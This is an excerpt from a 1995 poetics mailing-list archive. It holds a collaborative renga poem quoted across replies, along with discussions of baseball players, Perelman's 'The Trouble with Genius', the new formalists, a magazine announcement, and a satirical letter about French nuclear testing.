>> Go endlessly, an obtuse Prussian blue, it binds
>> The caravan of windows to what they flee
>> These lace curtains, more gauze than bondage, more
>> Mollycoddled than aware, thin-spined and pebbling
>> but narrow in the waist or waspish Sunday years ago
>> Over coffee topped with whipped cream, the Times blowing
>> & opining, heavy humid air, cumulus amusing against the
>> bleached ribcage ripcorded into compassed wind
>> kissing the weatherwoman between her breasts as she
>> gives gracious problem: fanatical snacks, landscape of
>> flicka my best friend and the storm in the glass of water's
>> halfway pertinent incision we keep making safe for ignorance
>> (inspection
>> denied for not knowing how credenza was meant) & neo-colonizing
>> pockets in small furniture intended house sequentially several
>> mountains away but it wasn't, you know, a big tango
>> when the attorney general came, selah hales said, "Dias, oh,ho,
>> kook!"
>> Edward Kennedy Ellington! "Tootin' Through the Roof" Tobacco
>> warehouse, curls

>> no ideas but the woven fabric the texture so to speak was at the dry
>> cleaners
>> piping hot and gloved-in somewhere unsalted, perched on prescience
>> the chair is sad, alas, and i've lusted tootles' livers
>> the odor day toy a cello day dis chevys a bo coo daughter chose encore
>> Flaubert because we're waiting all throughout eternity for moments to be
>> of such suchness. In the nooks were creams and in the streams were hooks.
>> All melded like striated film leftover in the pastel seeds of darkness
>> falling like a counterirritant around the manchineel. Likewise
>> sandpaper juxtaposed with seasoned instruments and recently soft fruit
>> of subject's object status, violent transformation
> la Ste. Therese into beaming cumulus apokoinu switchback
>and in the u-turns were bookmobiles rounding angles considered
shrill as pine left in the acres to be aging

↑ Index

565. **Sheila E. Murphy**
Re: you're fe/mail?
Wed 16 Aug 1995

> *Lindz wrote:*
>
> *It's kinda cool not knowing what someone is gender wise. But I always assumed that I pretty well betrayed myself by my responses and my language as being young and female.*
>
> *and Steve Carll wrote:*
> *Nope--not to me anyway. I thought you were an older male. (I hope this neither offends nor excessively surprises you.) This is what I meant not too long ago when I foolishly posted that "language seems to engender *itself*" or some such. What I meant was we read gender differently into a body of written or electronic text than we do into the human or animal body, but generally with the assumption that there's no difference between the gender we're reading into the text and the gender of the author of that text (that is, until Maria or someone starts to question this assumption and gets up the gumption to ask--thanks, Maria!) Makes for some interesting social situations. Try figuring out whether the narrator of Carla Harryman's "In The Mode Of" is male or female.*

I recently surprised myself when writing to a particular editor who went by intials, rather than by a (recognizable) first name. I thought the individual was one gender, and later learned that I was wrong. While there was nothing in my correspondence TO that person that was wrong or wildly non-neutral (!), I found that what was happened for me was a definite set of assumptions that did affect the way I spoke or wrote. It seemed more like working in different

(although certainly compatible) languages. Both were greatly pleasurable. Each was different.

I hope that what I'm saying (with readers of both genders in view) is conveyed as something more than a set of ditto marks after that Venus Mars business. Because I believe that for the most interestingly fluent people, the severity of divisions is usually reduced to a great degree. Minds talking to minds.

My surprise came in recognizing that although I feel, for the most part, like a mind talking to minds, there certainly are some things working that I'd not been so aware of.

Sheila

↑ Index

566. Bill Luoma
Re: furnished, remember?/no renga
Wed 16 Aug 1995

Charles,

> *Oops, I hit reply by mistake & sent a message intended for Marisa to all poetics list. My apologies & embarassments.*

That was actually one of the best posts the list has ever seen.

Marissa,

I would recommend getting your hands on Baseball America's 1995 guide that lists minor and major league schedules, stadium directions, etc. It contains everything a scout needs to know to drive around the country to watch the up and coming.

I mean many small to midland towns that you'll be passing through have minor league ball teams. Evening games are usually mon-sat at around 7:30 pm, the perfect way to end a long drive.

The problem is the Baseball America guide is kind of hard to find. Usually MLB marketing professionals have them. The Yanks or the Mets front office might sell you one. I once bought one in Richmond, VA from the Braves triple-a front office staff.

Happy trails.

Bill Luoma

↑ Index

567. Louis Cabri
A Poem By Ryan Knighton
Wed 16 Aug 1995

> *George and anyone available:*
>
> *I had a dream*
> *a song to sing*
> *to help me through*
> *most anything*
> *if you see the wonder*
> *in the fairy-tale...*
>
> *--Abba*

↑ Index

568. Louis Cabri
hole mag fyi
Wed 16 Aug 1995

just out:

hole 5
New Poetry, including:
  Bruce Andrews
  Clint Burnham
  Peter Culley
  Stacy Doris
  Gerry Gilbert
  Harryette Mullen
  Ted Pearson

forthcoming (Fall 1995):

hole 6
Poetics, Reviews, including:
  Clint Burnham
  Jeff Derksen
  Nate Dorward
  Susan Holbrook
  Germaine Koh
  Rob Manery
  Nicole Markotic
  Lisa Robertson
  Johan de Wit

Fred Wah
& others

2 issues airmail for indivs.: CAD$ 9.00 Canada
US$ 9.00 USA
US$ 11.00 elsewhere.

hole
magazine "with the most cake"

A n n o u n c i n g:
chapbooks

hole chapbook #1
Alan Davies: SEI SHONAGON
$4.00 Can.
US$ 4.00 USA
US$ 5.00 elsewhere

hole 1-4 O.P.

***

a few provisory remarks after July (1995): old news for new
context & emphasis in _hole_ --
for Loss P. G.'s index & Joel K.'s mag

"Politics" in/of aesthetics, and as the most out-there horizon of "the aesthetic" in here - the everyday (insofar as "the aesthetic" still exists, and understood if only, then, by negative historical tracework): these remain for us crucial issues of poetics and poetry. "Politics," not only as how Robin Blaser brings it forward from Aristotle into modernism+ via Arendt - prose of means and ends, ethics of organizing goods and services to benefit the most meaning. Just as the question of the referent and the figure of outward has irrevocably altered for poetry, so too has the question of the phenomenological subject and the figure of inward. So it's from the latter that we also take "the political," and on equal terms with that ancient, fraught concept of "intention," an ethics of. These politics meet in language as language's motivated condition per se - which informs the level of the phoneme up through morpheme, word, phrase, etc., as socially constituted - & therefore contestable - givens. The rest of "the inward" -- its poetics of the spiritual, of subjectivity by ideological attrition -- and of "the outward" -- its poetics of intentionality by a rhetoric of the reductive -- signal for us only more of the prevailing return of borders (internal/external) of origin, most alarmingly macro being those of individual nations (however upset in their dialectic as trading block members, or however sublated warfare becomes as economic interest). We want to explore the paradoxical politics premised on twin interrogatives for formal innovation: of an irreferential language and an

aphenomenological subject. We think that historically, occasions when poesis has politicized its own formal machineries and contexts are exceptional enough that such disclosures of radical materialism, when & how they occur, are to be closely tended.

(Theory product warning: the relation of these remarks to the contents of each issue might be as ambiguous to discriminate as whatever relation exists between, for example, this poetics listserv and poetry. - On the phyrric as impediment to "manifesto.")

Louis Cabri/Rob Manery, eds.
hole magazine
22-191 McLeod Street
Ottawa, Ontario
Canada K2P 0Z8
(Pls. make cheque out to Rob Manery. Thank you.)
[redacted] / [redacted]

↑ Index

569. **Joseph Zitt**
Re: Too late to the renga
Wed 16 Aug 1995

On 16 Aug 95 at 8:49, maria damon wrote:

> In message <[redacted]> UB Poetics discussion group
> writes:
> > >I get embarrassed whenever I try to change anyone's opinion.
> > I've come around to your way of thinking.
> I've grown accustomed to your
Overgrowth, as tendril-words embrace the
---------1---------1---------1---------1---------1---------1----------
|||/ Joseph Zitt ==== [redacted] ===== Human Systems \|||
||/ Organizer, SILENCE: The John Cage Mailing List \||
|/ Online Representative, Austin International Poetry Festival \|
/ <A HREF="http://www.realtime.net/~jzitt/"> Joe Zitt's Home Page</A>\

↑ Index

570. **Gabrielle Welford**
Re: JG others and us
Wed 16 Aug 1995

Maria, you are wonderful! So glad to see someone else anxiously scanning the lines to see if theirs are still clinging to the boat...! :-)

Gab.

↑ Index

571. **maria damon**
Re: JG others and us
Wed 16 Aug 1995

---

gabrielle writes:
> Maria, you are wonderful! So glad to see someone else anxiously scanning
> the lines to see if theirs are still clinging to the boat...! :-)
>
> Gab.

hey listen, i'm so unbelievably shy about my "creative" writing as distinct from my "critical" writing (i almost cry when people ask, "do you write poetry yourself, as well as crit?" --or as my sister, a writer of light sonnets, so sensitively puts it, "and are you doing any of your *own* writing these days?") that i'm impressed that i'm participating at all. having said that, yes, i fanatically track "my" lines to see if they made the grade enough to further the renga, or whether i singlehandedly sank the ship. it's kinda fun to cast a line out there and see if it reels any more lines in...thanks everyone for just the right degree of anonymity and playfulness.--md

↑ Index

572. **maria damon**
mumia signature
Wed 16 Aug 1995

---

hi folks sorry bout this but i deleted my mumia petition post after sending it out to everyone i knew, here's someone who replied to me rather than to the appropriate folks, so --i can't now remember who posted the mumia info, but cd you please forward the following forward to the right address? thanks--md

From: Paula Rabinowitz <[redacted]>
Date: Wed, 16 Aug 1995 21:17:17 -0500 (CDT)
To: maria damon <[redacted]>
Subject: Re: action alert-- Mumia petition

Please add my name to the list of academics in support of Mumia. Paula Rabinowitz--Associate Professor of english, american Studies and Women's studies University of Minnesota

↑ Index

573. **Charles Alexander**

Re: favourite care word: "you"

Wed 16 Aug 1995

On Wed, 16 Aug 1995 13:12:34 -0700,
Sheila E. Murphy <[redacted]> wrote:

>>> In the books were dreams and in the dreams were books.
>>> And flew through windows, lightning green and fine morning
>>> First inverted whistle of a cardinal in the poplar
>>> The book and the oboe on the grass under sun and cloud
>>> Go endlessly, an obtuse Prussian blue, it binds
>>> The caravan of windows to what they flee
>>> These lace curtains, more gauze than bondage, more
>>> Mollycoddled than aware, thin-spined and pebbling
>>> but narrow in the waist or waspish Sunday years ago
>>> Over coffee topped with whipped cream, the Times blowing
>>> & opining, heavy humid air, cumulus amusing against the
>>> bleached ribcage ripcorded into compassed wind
>>> kissing the weatherwoman between her breasts as she
>>> gives gracious problem: fanatical snacks, landscape of
>>> flicka my best friend and the storm in the glass of water's
>>> halfway pertinent incision we keep making safe for ignorance
>>> (inspection
>>> denied for not knowing how credenza was meant) & neo-colonizing
>>> pockets in small furniture intended house sequentially several
>>> mountains away but it wasn't, you know, a big tango
>>> when the attorney general came, selah hales said, "Dias, oh,ho,
>>> kook!"
>>> Edward Kennedy Ellington! "Tootin' Through the Roof" Tobacco
>>> warehouse, curls
>>> no ideas but the woven fabric the texture so to speak was at the dry
>>> cleaners
>>> piping hot and gloved-in somewhere unsalted, perched on prescience
>>> the chair is sad, alas, and i've lusted tootles' livers
>>> the odor day toy a cello day dis chevys a bo coo daughter chose encore
>>> Flaubert because we're waiting all throughout eternity for moments to be
>>> of such suchness. In the nooks were creams and in the streams were
hooks.
>>> All melded like striated film leftover in the pastel seeds of darkness
>>> falling like a counterirritant around the manchineel. Likewise
>>> sandpaper juxtaposed with seasoned instruments and recently soft fruit
>>> of subject's object status, violent transformation

>> la Ste. Therese into beaming cumulus apokoinu switchback
>>and in the u-turns were bookmobiles rounding angles considered
>shrill as pine left in the acres to be aging
flawlessly, flutes sing genderless in trio, surprised

↑ Index

574. Tony Green
Re: Chooks
Wed 16 Aug 1995

Dear George, thanks for the additions to the chicken list, I'd appreciate a bit of description of each, since your chooks are unfamiliar.

Tony Green,
e-mail: [redacted]
post: Dept of Art History,
University of Auckland,
Private Bag 92019,
Auckland, New Zealand
Fax: 64 9-[redacted]
Telephone: 64 9 [redacted] ext. 8981 or 7276

↑ Index

575. Gabrielle Welford
Re: Too late to the renga
Thu 17 Aug 1995

On Wed, 16 Aug 1995, maria damon wrote:> In message <[redacted]> UB Poetics discussion group> writes:
> > >I get embarrassed whenever I try to change anyone's opinion.
> > I've come around to your way of thinking.
> I've grown accustomed to your
> deodorant but not the nose hair

↑ Index

576. Sheila E. Murphy
Re: favourite care word: "you"
Thu 17 Aug 1995

On 8/16, Charles Alexander writes:

>> In the books were dreams and in the dreams were books.
>>>> And flew through windows, lightning green and fine morning
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>>>> The book and the oboe on the grass under sun and cloud
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>>>> warehouse, curls
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>>>and in the u-turns were bookmobiles rounding angles considered
>>shrill as pine left in the acres to be aging
>flawlessly, flutes sing genderless in trio, surprised
by how quiet effort really is or is not, fast enough to sleep

↑ Index

577. **Steve Carll**
Re: favourite care word: "you"
Thu 17 Aug 1995

>On 8/16, Charles Alexander writes:
>
>>> In the books were dreams and in the dreams were books.
>>>>> And flew through windows, lightning green and fine morning
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>>>>and in the u-turns were bookmobiles rounding angles considered
>>>shrill as pine left in the acres to be aging
>>flawlessly, flutes sing genderless in trio, surprised
>by how quiet effort really is or is not, fast enough to sleep
in brazen deliquescence, curled up in antinomy

↑ Index

578. George Bowering

Re: Chooks

Thu 17 Aug 1995

Daniel Pinkwater. the great USAmerican kidsbooks author, is a little loony on chickens and dogs. In *Lizard Music* Dell paperback, 1976, there is a kid who has several friends on the street, including an old African-American guy who keeps a white chicken on his shoulder and sometimes his head. The chicken's name is Claudia and the man's name keeps changing. There is also a quintet of Lizards who play great music, and an attack of the pod people.The man and the chicken solve all the puzzles, or show the kid Victor how to do it. Almost as good as Pinkwater's two books about the Snarkout Boys.

The Hoboken Chicken Emergency features a 266-pound chicken at Thanksgiving. A horror story set in New Jersey; what more could you ask for? Pinkwater's drawings are as bad as Vonnegut's in that book about the arts festival.

↑ Index

579. cris cheek

Re: desire / and the 39 steps

Thu 17 Aug 1995

---

in cool early dawn's light, under a microscope, his artificial grass appears slavishly vivid. the 'real thing' having dried back years before. beetles burning their hope there, memorials to the edge between that tended and that wild pumping valve.

↑ Index

580. **Ron Silliman**
Re: Mitchellmania, Harpermania
Thu 17 Aug 1995

Dear sad Cardinals fan
>
> That bare-handed line drive [caught by Kevin Mitchell], as I recall, was off the bat of Ozzie Smith. Didn't he also play for the Giants for a while?

No. He played with the San Diego Padres before being traded, one up, for shortstop Gary Templeton who was then presumed to be a better batter. When he was in San Diego, it was already apparent that Smith was the finest fielding shortstop ever to play the game. It's sad to see him now at 40, reduced to mere excellence. The Pods, by the way, later were to trade Kevin Mitchell for not so much in return. George is totally right about how his attitude drives "purists" wild.

(PS, if this seems redundant to some other messages, I'm still 250 messages behind, having spent a week in such places as Waco, TX, Southhaven, Mississippi, parts of Arkansas I never did figure out where I was and Memphis, Tennessee. Had not previously realized that the immediate next door neighbors of Mr. Presley were a series of funky little lube shops. That is not one of the better streets to have had a mansion on.) George, your cactus collection would fit right in.

Ron Silliman

↑ Index

581. **Ron Silliman**
Re: "marketing strategies," CAP-L, & the gap (mind it or lose it)
Thu 17 Aug 1995

Herb Levy wrote:

>But note that forays onto CAP-L by folks from POETICS (at least those since last winter) have invariably ended when someone on CAP-L says "okay, you've made your point about what some of the problems with OUR stuff are, can you give an example of an inferior work in the "parallel tradition," so that we have some kind of idea 0f how YOUR aesthetics operate." So far no one from POETICS has been willing to say "yeah, here's something that was published in Origin (or Acts, or Aerial, or Alcheringa, or Avec, to go through some of the more recent journals on the shelf behind me) & it is really, really bad."

In one sense, I think that this is what Bob Perelman's _The Trouble with Genius_ does and does admirably, going as it does after the biggest sacred cows we have. Certainly the section on Joyce's Ulysses as an accumulative text, with differing and conflicting goals at different stages of its development, is the most realistic assessment of that project as writing as we've had. And much of the Pound as well. Bob (who I think is still in the U.K. tho he may be back in the next week or so) goes as much at the critical traditions that have sprung up around Ez, Joyce, Gertrude and Louis (pronounced Louie -- and why, by the way, does everyone even today still pronounce it that way?) as he does the writers themselves, but he is very clear in bringing them down to size by desacralizing them through basic problems in/with their writing.

The book's weakness, it seems to me, is its reliance on the concept of genius itself, a frame that he drops very quickly after the intro to each chapter in favor of a more grounded reading.

Ron Silliman

[redacted]

↑ Index

582. **David Kellogg**

Re: "marketing strategies," CAP-L, & the gap (mind it or lose it)

Thu 17 Aug 1995

On Thu, 17 Aug 1995, Ron Silliman wrote:

> *In one sense, I think that this is what Bob Perelman's _The Trouble with Genius_ does and does admirably, going as it does after the biggest sacred cows we have. Certainly the section on Joyce's Ulysses as an accumulative text, with differing and conflicting goals at different stages of its development, is the most realistic assessment of that project as writing as we've had. And much of the Pound as well. Bob (who I think is still in the U.K. tho he may be back in the next week or so) goes as much at the critical traditions that have sprung up around Ez, Joyce, Gertrude and Louis (pronounced Louie -- and why, by the way, does everyone even today still pronounce it that way?) as he does the writers themselves, but he is very clear in bringing them down to size by desacralizing them through basic problems in/with their writing.*
>
> *The book's weakness, it seems to me, is its reliance on the concept of genius itself, a frame that he drops very quickly after the intro to each chapter in favor of a more grounded reading.*

Maybe, but the Wile E. Coyote reference toward the end brought it all back home for me. I whimsically imagine that was the initiating image for the project. To follow that up with a paper/scissors/rock description of the literary

scene was pretty bold, given the largely academic audience such a book's destined for. That description still haunts me -- I think it's the most fully *relational* representation of current writing institutions I've seen.

I don't see the Joyce chapter quite as strongly as you do -- but maybe that's because I was saturated with Joyce criticism a few years back.

Cheers,
David
~~~
~~~

curious about other people's senses of what a discourse of dis/ease might entail. any thoughts?

theresa smalec ([redacted])

↑ Index

585. **David Kellogg**

Re: "marketing strategies," CAP-L, & the gap (mind it or lose it)

Thu 17 Aug 1995

On Thu, 17 Aug 1995, Chris Stroffolino wrote:

> *In response to ROn and David Kellogg's posts re Perelman and*
> *Genius--I was going to write a review of the book, but I am waiting*
> *for the SEQUEL--the marginalization of poetry--because what he does*
> *there is going to retrospectively confer meaning on this---*
> *But, here's a question for people---would you consider this book*
> *to be a DEBUNKING one, and what is the value of debunking books*
> *today---It is this question of "debunking" (which is weird--coz*
> *Stein, for instance has hardly been BUNKED) that interests me*
> *and it will be interesting to see if P just goes after the*
> *"modernists" so he can build up his contemporaries.....*
> *STAY TUNED (it's all so kitschy isn't it)...cs*

I see the book as a kind of sideways debunking, not directly debunking either the writers or their reputation -- the opposite, in fact, since we're at the stage now where contemporary experimental poetic practices are in need of a genealogy for their own authorization (witness, at a far less engaged level, books by Peter Baker and Christopher Beach). But rather a debunking of critical myths the writers (to differing degrees) participated in. A historicization in the sense of tracing a shaping concept -- genius as the episteme of modernism? -- that no one person "shaped." So as not to read pre-postmodernist writers like they "asked" to be read, but to get positive results from reading them against themselves. A kind of productive debunking. That's a quick 2cents.

Cheers,
David
~~~
~~~

586. **George Bowering**
Re: Faulkner
Thu 17 Aug 1995

John Faulkner was a USAmerican novelist I read when I was a teenager. He writes a lot like Erskine Caldwell, and he was the brother of another novelist, William Faulkner. The Faulkners kept the names John and William going in every generation. They had a grandfather, I think it was, who was a novelist, too. His name was John Falkner. Wm Faulkner added the "u", if I remember aright.

↑ Index

587. **George Bowering**
Re: Renga 11: Invasion from Mars
Thu 17 Aug 1995

Hey, Lindzed, I'm not a hero. Kevin Mitchell is a hero.

↑ Index

588. **George Bowering**
Re: Mitchellmania, Harpermania
Thu 17 Aug 1995

Yeah, I was just thinking a while ago about the way people like me look at ballplayers that are, in the real world, arseholes, like kevin Mitchell or Jose Canseco, but how we kind of like them in the baseball world because they are nbot just the normal cliches. I really liked Dave Kingman, though I would have hated him outside of baseball. I never did much like Mickey Mantle.

I cant remember all the stuff Mitchell got in shit for. But I do remember that he and his brother were in the gangs in San Diego.

↑ Index

589. **George Bowering**
Re: "marketing strategies"
Thu 17 Aug 1995

I am curious about these "new formalists" I have been hearing snippets abt from US sources over the past few years. They have never, as far as I know, been heard of up here. Curious: in Canada the poets of the Allen anthology 30 years ago, quickly became for us the main US line of poetry, while the Iowa types were perhaps known by a few profs who probably came from Bucknell anyway. Are any of the "new formalists" famous? I have a feeling by "new" is probably meant old, and by "formalists" is probably meant conventional. But I

have never heard any of their poems, as far as I know. Are they a cohesive group, or is the term just used widely to refer to latter-day Iowa poets?

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590. **Joseph Zitt**
Re: favourite care word: "you"
Thu 17 Aug 1995

On 17 Aug 95 at 22:45, Charles Alexander wrote:

> On Wed, 16 Aug 1995 22:19:47 -0700,
> Sheila E. Murphy <[redacted]> wrote:
>
> >On 8/16, Charles Alexander writes:
> >
> >>> In the books were dreams and in the dreams were books.
> >>>>> And flew through windows, lightning green and fine morning
> >>>>> First inverted whistle of a cardinal in the poplar
> >>>>> The book and the oboe on the grass under sun and cloud
> >>>>> Go endlessly, an obtuse Prussian blue, it binds
> >>>>> The caravan of windows to what they flee
> >>>>> These lace curtains, more gauze than bondage, more
> >>>>> Mollycoddled than aware, thin-spined and pebbling
> >>>>> but narrow in the waist or waspish Sunday years ago
> >>>>> Over coffee topped with whipped cream, the Times blowing
> >>>>> & opining, heavy humid air, cumulus amusing against the
> >>>>> bleached ribcage ripcorded into compassed wind
> >>>>> kissing the weatherwoman between her breasts as she
> >>>>> gives gracious problem: fanatical snacks, landscape of
> >>>>> flicka my best friend and the storm in the glass of water's
> >>>>> halfway pertinent incision we keep making safe for ignorance
> >>>>> (inspection
> >>>>> denied for not knowing how credenza was meant) & neo-colonizing
> >>>>> pockets in small furniture intended house sequentially several
> >>>>> mountains away but it wasn't, you know, a big tango
> >>>>> when the attorney general came, selah hales said, "Dias, oh,ho,
> >>>>> kook!"
> >>>>> Edward Kennedy Ellington! "Tootin' Through the Roof" Tobacco
> >>>>> warehouse, curls
> >>>>> no ideas but the woven fabric the texture so to speak was at the dry
> >>>>> cleaners
> >>>>> piping hot and gloved-in somewhere unsalted, perched on
prescience

> >>>>> the chair is sad, alas, and i've lusted tootles' livers
> >>>>> the odor day toy a cello day dis chevys a bo coo daughter chose encore
> >>>>> Flaubert because we're waiting all throughout eternity for moments to be
> >>>>> of such suchness. In the nooks were creams and in the streams were hooks.
> >>>>> All melded like striated film leftover in the pastel seeds of darkness
> >>>>> falling like a counterirritant around the manchineel. Likewise
> >>>>> sandpaper juxtaposed with seasoned instruments and recently soft fruit
> >>>>> of subject's object status, violent transformation
> >>>> la Ste. Therese into beaming cumulus apokoinu switchback
> >>>>and in the u-turns were bookmobiles rounding angles considered
> >>>shrill as pine left in the acres to be aging
> >>flawlessly, flutes sing genderless in trio, surprised
> >by how quiet effort really is or is not, fast enough to sleep
> through thunderstorms, arm over thigh until light shakes
itself over us, slower than sound, yet mapping tone to color
---------1---------1---------1---------1---------1---------1----------
|||/ Joseph Zitt ==== [redacted] ===== Human Systems \|||
||/ Organizer, SILENCE: The John Cage Mailing List \||
|/ Online Representative, Austin International Poetry Festival \|
/ <A HREF="http://www.realtime.net/~jzitt/"> Joe Zitt's Home Page</A>\

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591. **Ron Silliman**

Re: The List Itself

Thu 17 Aug 1995

One value of the list itself is the democratic way in which it introduces people to one another. I had a chance to experience this first hand in Dallas the other day when Joseph Zitt took me to a great restaurant, followed by a fine reading (Joe was one of the featured readers), a view into the Dallas lit scene I could have gotten no other way. Joe gave a terrific reading, by the way! Thanks!

↑ Index

592. **Ron Silliman**
Re: Shedding the Lurker Skin
Thu 17 Aug 1995

Maria (she ends the poems) Damon wrote:
did u know that when robert duncan was adopted by the symmeses, they had
>an astrological chart drawn up for him that said, among other things, that he
>would witness the end of his own civilization during his lifetime? so the
>apocalypse must've happened before march 1988.

Just a smidgen under 20 years before, I'd say.

↑ Index

593. **maria damon**
Re: The List Itself
Thu 17 Aug 1995

---

ron s writes:
> One value of the list itself is the democratic way in which it
> introduces people to one another. I had a chance to experience this
> first hand in Dallas the other day when Joseph Zitt took me to a great
> restaurant, followed by a fine reading (Joe was one of the featured
> readers), a view into the Dallas lit scene I could have gotten no other
> way. Joe gave a terrific reading, by the way! Thanks!

i like to hear this kind of thing, along with extended coverage of conferences, etc (thanks loss!). thanks ron. my kindred-spirit-in-every-port fantasy seems to be at least partially realizable.--md

↑ Index

594. **Charles Alexander**
Re: favourite care word: "you"
Thu 17 Aug 1995

On Wed, 16 Aug 1995 22:19:47 -0700,
Sheila E. Murphy <[redacted]> wrote:

>On 8/16, Charles Alexander writes:
>
>>> In the books were dreams and in the dreams were books.
>>>>> And flew through windows, lightning green and fine morning
>>>>> First inverted whistle of a cardinal in the poplar

>>>>> The book and the oboe on the grass under sun and cloud
>>>>> Go endlessly, an obtuse Prussian blue, it binds
>>>>> The caravan of windows to what they flee
>>>>> These lace curtains, more gauze than bondage, more
>>>>> Mollycoddled than aware, thin-spined and pebbling
>>>>> but narrow in the waist or waspish Sunday years ago
>>>>> Over coffee topped with whipped cream, the Times blowing
>>>>> & opining, heavy humid air, cumulus amusing against the
>>>>> bleached ribcage ripcorded into compassed wind
>>>>> kissing the weatherwoman between her breasts as she
>>>>> gives gracious problem: fanatical snacks, landscape of
>>>>> flicka my best friend and the storm in the glass of water's
>>>>> halfway pertinent incision we keep making safe for ignorance
>>>>> (inspection
>>>>> denied for not knowing how credenza was meant) & neo-colonizing
>>>>> pockets in small furniture intended house sequentially several
>>>>> mountains away but it wasn't, you know, a big tango
>>>>> when the attorney general came, selah hales said, "Dias, oh,ho,
>>>>> kook!"
>>>>> Edward Kennedy Ellington! "Tootin' Through the Roof" Tobacco
>>>>> warehouse, curls
>>>>> no ideas but the woven fabric the texture so to speak was at the dry
>>>>> cleaners
>>>>> piping hot and gloved-in somewhere unsalted, perched on prescience
>>>>> the chair is sad, alas, and i've lusted tootles' livers
>>>>> the odor day toy a cello day dis chevys a bo coo daughter chose encore
>>>>> Flaubert because we're waiting all throughout eternity for moments to be
>>>>> of such suchness. In the nooks were creams and in the streams were hooks.
>>>>> All melded like striated film leftover in the pastel seeds of darkness
>>>>> falling like a counterirritant around the manchineel. Likewise
>>>>> sandpaper juxtaposed with seasoned instruments and recently soft fruit
>>>>> of subject's object status, violent transformation
>>>> la Ste. Therese into beaming cumulus apokoinu switchback
>>>>and in the u-turns were bookmobiles rounding angles considered
>>>shrill as pine left in the acres to be aging
>>flawlessly, flutes sing genderless in trio, surprised
>by how quiet effort really is or is not, fast enough to sleep
through thunderstorms, arm over thigh until light shakes

↑ Index

595. Charles Alexander
Re: "marketing strategies," CAP-L, & the gap (mind it or lose it)
Fri 18 Aug 1995

David Kellogg writes of Perelman's book on genius, "I see the book as a kind of sideways debunking, not directly debunking either the writers or their reputation -- the opposite, in fact, since we're at the stage now where contemporary experimental poetic practices are in need of a genealogy for their own authorization."

Is this another way of saying a new canon building is needed, a contention with which I might have some problems, or do you have something else in mind. Could you explain why "contemporary experimental poetic practices are in need of a genealogy for their own authorization?" The genealogy I understand, as long as it is as unrestrictive as is possible. But I'm not certain why such works need "authorization" beyond their own making. But you may mean something quite specific by this term "authorization."

thanks,
charles

charles alexander [==========^^==========]
[<>]
chax press [maybe a <> pages]
[time <> letters]
phone & fax: [redacted] [upon <> frames]
[once <> motion]
e-mail: [redacted] [<>]
[==========vv==========]

↑ Index

596. Charles Alexander
Re: "marketing strategies"
Fri 18 Aug 1995

George, I don't know if I have a lot to say about these new formalists, but my sense is they are not so Iowa-connected, the Iowa line of writers (yes I know it's hardly a consistent line) being less strictly formal, rather more free verse narrativists. The new formalists are rather more interested in received forms of verse, renewing a tradition of poetry based on forms handed down over the last several centuries. Whether they succeed at such renewal is another question. At least one wing of these formalists has more connection to a Stanford tradition which includes such diverse figures as Yvor Winters and Donald Davie (Davie was teaching at Stanford when I was there in the early to mid-70's, and

while I am in debt to him for introducing me to serious study of Pound as well as quirky English poets such as Christopher Smart, I have very mixed feelings about him as a poet, and I found that, at Stanford, I generally had to get to San Francisco and Berkeley to experience contemporary writers whose work was meaningful to me). The key Stanford grad/writer (who went on to Harvard Business School and a career as a business executive) in the new formalist movement is Dana Gioia (who was, as a senior in college, a resident advisor in my freshman dormitory), but although Dana is perhaps one of the best known new formalists, I really am so unfamiliar with the group as not to know if he is truly central to their concerns.

I have a vague sense that some part of the new formalist movement comes out of various more southern USA writing traditions, but perhaps someone else could speak more about that.

all best,
charles

charles alexander
chax press
phone & fax: [redacted]
e-mail: [redacted]

```
[===========^^============]
[        <>        ]
[  maybe a  <>  pages    ]
[    time  <>  letters   ]
[    upon  <>  frames    ]
[    once  <>  motion    ]
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[===========vv============]
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597. Ron Silliman

Re: Mitchellmania, Harpermania

Fri 18 Aug 1995

> *I cant remember all the stuff Mitchell got in shit for.*

One day, leaving Candlestick Park, the cops busted the person who was riding w/ Mitch on a homocide warrant. Bar fights occurred once or twice. And I think he may have pistol whipped a girlfriend (or am I confusing him with Bonds or Canseco here?). Like George says, not someone you would want to know "outside of" baseball. Not unlike lit in that regard. Never could imagine Spicer as a friend, nor Olson, nor Burroughs.

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598. **David Kellogg**

Re: "marketing strategies," CAP-L, & the gap (mind it or lose it)

Fri 18 Aug 1995

On Thu, 17 Aug 1995, Charles Alexander wrote:

> *David Kellogg writes of Perelman's book on genius, "I see the book as a kind of sideways debunking, not directly debunking either the writers or their reputation -- the opposite, in fact, since we're at the stage now where contemporary experimental poetic practices are in need of a genealogy for their own authorization."*
>
> *Is this another way of saying a new canon building is needed, a contention with which I might have some problems, or do you have something else in mind. Could you explain why "contemporary experimental poetic practices are in need of a genealogy for their own authorization?" The genealogy I understand, as long as it is as unrestrictive as is possible. But I'm not certain why such works need "authorization" beyond their own making. But you may mean something quite specific by this term "authorization."*

Charles,

Thanks for your response. I suppose I shouldn't have used the term "in need," since I do NOT mean to suggest that this or that poetry "needs" anything for its own good -- I'm advocating nothing on that score, being a thoroughgoing relativist. And I am *certainly* not advocating anything like a new canon-building process. I was trying to speak (loosely) sociologically, in the sense of "what happens anyway." Enough people are reading, say, L-poetry for there to be a collective need to understand where it came from. Now this "where" is always built retroactively, both with L-poetry and with all other traditions. For a while the historical constructions were limited to the "internal" audience (viz. the variety of essays on/about/through Stein in language-associated publications). The need to construct a "tradition" is established structurally, not individually, as l-poetry gains and seeks a wider "outside" (read: academic?) audience.

I want to stress that I don't think this is a good or bad thing. It's just what happens.

I should say that my thoughts on this issue are heavily influenced by Bourdieu, and that I see l-poetry, as it becomes more established as a viable "position" in the poetic field (gaining what I've elsewhere called "positionality), becoming firmly entrenched on the side of the field where rules what Bourdieu calls "restricted production: there value is determined through a reversal of the economic field, i.e., not sales but recognition.

Cheers,
David

~~~
~~~

Frappez le crows avec stones, Sport! La guerre cold est fini!
Votres forces militaire need la bombe atomique about as
beacoup as poisson need les bicyclettes.

Un autre point, cobber. Votre histoire militaire isn't tres flash, consisting, n'est-ce pas, of battailles the likes of Crecy, Agincourt, Poitiers, Trafalgar, Borodino, Waterloo, Sedan, et Dien Bien Phu. Un bombe won't change le tradition. Je/mon pere/ mon grand pere/le cousing third avec ma grandmere/la plume de ma tante fought avec votre soldats against Le Boche in WWI (le Big One). Have vous forgotten?

Reconsider, mon ami, otherwise in le hotels et estaminets de l'Australie le curse anciens d'Angleterre - "Damnation to the French" - will be heard un autre temps.

Votre chums don't want that.

Millo.

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601. Chris Stroffolino

Re: "marketing strategies," CAP-L, & the gap (mind it or lose it)

Fri 18 Aug 1995

---

